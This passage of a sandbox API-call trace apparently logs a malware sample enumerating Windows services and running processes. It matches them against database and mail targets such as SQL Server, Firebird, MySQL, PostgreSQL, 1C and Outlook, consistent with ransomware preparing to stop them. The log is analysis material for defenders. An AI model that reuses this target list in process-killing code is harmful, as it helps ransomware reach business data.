returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.057] lstrlenW (lpString="CryptSvc") returned 8 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.057] lstrlenW (lpString="CscService") returned 10 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.057] lstrlenW (lpString="DcomLaunch") returned 10 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.057] lstrlenW (lpString="Dhcp") returned 4 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.057] lstrlenW (lpString="Dnscache") returned 8 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.057] lstrlenW (lpString="DPS") returned 3 [0047.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.057] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.057] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.058] lstrlenW (lpString="eventlog") returned 8 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.058] lstrlenW (lpString="EventSystem") returned 11 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.058] lstrlenW (lpString="gpsvc") returned 5 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.058] lstrlenW (lpString="iphlpsvc") returned 8 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.058] lstrlenW (lpString="LanmanServer") returned 12 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.058] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.058] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.058] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.058] lstrlenW (lpString="lmhosts") returned 7 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.059] lstrlenW (lpString="MMCSS") returned 5 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.059] lstrlenW (lpString="MpsSvc") returned 6 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.059] lstrlenW (lpString="Netman") returned 6 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.059] lstrlenW (lpString="netprofm") returned 8 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.059] lstrlenW (lpString="NlaSvc") returned 6 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.059] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.059] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.059] lstrlenW (lpString="nsi") returned 3 [0047.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.060] lstrlenW (lpString="PcaSvc") returned 6 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.060] lstrlenW (lpString="PlugPlay") returned 8 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.060] lstrlenW (lpString="Power") returned 5 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.060] lstrlenW (lpString="ProfSvc") returned 7 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.060] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.060] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.060] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.060] lstrlenW (lpString="RpcSs") returned 5 [0047.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.061] lstrlenW (lpString="SamSs") returned 5 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.061] lstrlenW (lpString="Schedule") returned 8 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.061] lstrlenW (lpString="SENS") returned 4 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.061] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.061] lstrlenW (lpString="Spooler") returned 7 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.061] lstrlenW (lpString="swprv") returned 5 [0047.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.061] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.062] lstrlenW (lpString="SysMain") returned 7 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.062] lstrlenW (lpString="Themes") returned 6 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.062] lstrlenW (lpString="TrkWks") returned 6 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.062] lstrlenW (lpString="UxSms") returned 5 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.062] lstrlenW (lpString="VSS") returned 3 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.062] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.062] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.062] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.063] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.063] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.063] lstrlenW (lpString="Winmgmt") returned 7 [0047.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.063] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0047.063] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0047.067] Process32FirstW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.068] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.068] lstrlenW (lpString="System") returned 6 [0047.068] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.068] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.069] lstrlenW (lpString="smss.exe") returned 8 [0047.069] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.069] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.070] lstrlenW (lpString="csrss.exe") returned 9 [0047.070] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.070] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.070] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.070] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.070] lstrlenW (lpString="wininit.exe") returned 11 [0047.070] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.070] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.070] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.071] lstrlenW (lpString="csrss.exe") returned 9 [0047.071] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.071] lstrlenW (lpString="winlogon.exe") returned 12 [0047.071] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.072] lstrlenW (lpString="services.exe") returned 12 [0047.072] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.072] lstrlenW (lpString="lsass.exe") returned 9 [0047.072] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.073] lstrlenW (lpString="lsm.exe") returned 7 [0047.073] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.073] lstrlenW (lpString="svchost.exe") returned 11 [0047.073] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.074] lstrlenW (lpString="svchost.exe") returned 11 [0047.074] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.074] lstrlenW (lpString="svchost.exe") returned 11 [0047.074] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.075] lstrlenW (lpString="svchost.exe") returned 11 [0047.075] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: 